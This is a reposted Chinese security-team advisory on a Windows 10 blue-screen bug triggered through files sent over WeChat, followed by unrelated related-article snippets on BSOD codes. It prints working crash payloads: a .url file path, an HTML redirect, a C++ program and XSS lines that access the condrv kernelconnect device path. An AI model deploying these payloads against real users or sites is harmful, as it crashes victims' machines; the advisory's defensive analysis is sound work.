红色警戒！Windows微信蓝屏文件刨析！

样本

核心代码为：file:///globalroot/device/condrv/kernelconnect

受灾画面：

分析：

.url文件

url格式的文件是一种网页文件，只要接触就会触发访问

漏洞分析见之前发的文章：

Windows10使用浏览器崩溃复现及分析

防护方法：

仅对windows10系统有效，其它系统不受影响

windows微信用户可关闭自动下载

更多方式（.html .exe）：

<html><head></head><body>><script>document.location = '\\\\.\\globalroot\\device\\condrv\\kernelconnect';</script></body></html>

// BSOD.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。// #include <iostream>#include <Windows.h> int main(){    WCHAR fileName[] = L"\\\\.\\globalroot\\device\\condrv\\kernelconnect";    WIN32_FILE_ATTRIBUTE_DATA data;    GetFileAttributesEx(fileName, GetFileExInfoStandard, &data);}

吾爱破解大牛分析：

https://www.52pojie.cn/thread-1354077-1-1.html

其他利用方式XSS漏洞：

<script>document.location = '\\\\.\\globalroot\\device\\condrv\\kernelconnect';</script>
<script>document.location = 'file://./globalroot/device/condrv/kernelconnect';</script>

请做好个人防护！谨防漏洞威胁！转载请标注来自开普勒安全团队！谢谢！

转载自https://mp.weixin.qq.com/s/U66SldUJhqtV51WPxQMeCg

红色警戒！Windows微信蓝屏文件刨析！相关推荐

解决windows电脑蓝屏的方法
解决90%Windows电脑蓝屏的方法夜半随风听雨14小时前电脑蓝屏代码大全及解决办法合集代码含意0 0x00000000 作业完成.1 0x00000001 不正确的函数.2 0x0000000 ...
Windows 7 蓝屏代码大全 amp; 蓝屏全攻略
关于Windows 7.Vista等系统的蓝屏.之前软媒在Win7之家和Vista之家都有非常多文章讨论过,可是都是筛选的常见的一些问题,今天这个文章是个大全.希望大家看着别头痛.文章收藏下来以后待查 ...
Windows系统蓝屏代码分析
注:转自网络,拿出来和大家分享. 症状描述: 当您在运行 Microsoft Windows 2000/XP/Server 2003 . Microsoft Windows Vista/Server ...
Windows 11 蓝屏 Stop code - SYSTEM SERVICE EXCEPTION What failed - igdkmd64.sys
C:\Windows\LiveKernelReports\WATCHDOG PoW32kWatchdog-20221220-0928.dmp Windows 11 蓝屏时,操作系统会生成一个名为 mi ...
windows操作系统蓝屏错误对照表五
windows操作系统蓝屏错误对照表五微软办公软件国际认证考试网鲤鱼小编更新时间:2014-08-20 http://www.iliyu.com/mos/jingyan/beikao/16038 ...
Windows 7 蓝屏代码大全蓝屏全攻略
关于Windows 7.Vista等系统的蓝屏,之前都有很多文章讨论过,但是都是筛选的常见的一些问题,今天这个文章是个大全,希望大家看着别头痛,文章收藏下来以后待查即可. 一.蓝屏含义 1.故障检查信 ...
Windows经常蓝屏启动速度慢经常死机 +常用dos命令（win10、win11适用）
Windows经常蓝屏启动速度慢经常死机 +常用dos命令(win10.win11适用) Windows下常用的Dos命令文件操作目录切换:cd 切换到别的盘 (比如D盘) d: 查看当前目录 ...
W ndows7蓝屏0x00000024,Windows 7 蓝屏代码大全蓝屏全攻略
该楼层疑似违规已被系统折叠隐藏此楼查看此楼三.Windows 7蓝屏代码含义 0 0x0000 作业完成. 1 0x0001 不正确的函数. 2 0x0002 系统找不到指定的档案. 3 0x00 ...
服务器缺少storportSYS文件,Windows操作系统蓝屏日志分析方法
或许你可以先检测下机器硬件健康状况,详情点击查看检测教程工具:X64 Debuggers And Tools-x64_en-us 下载地址:链接:http://pan.baidu.com/s/1cA ...

红色警戒！Windows微信蓝屏文件刨析！

红色警戒！Windows微信蓝屏文件刨析！相关推荐

最新文章

热门文章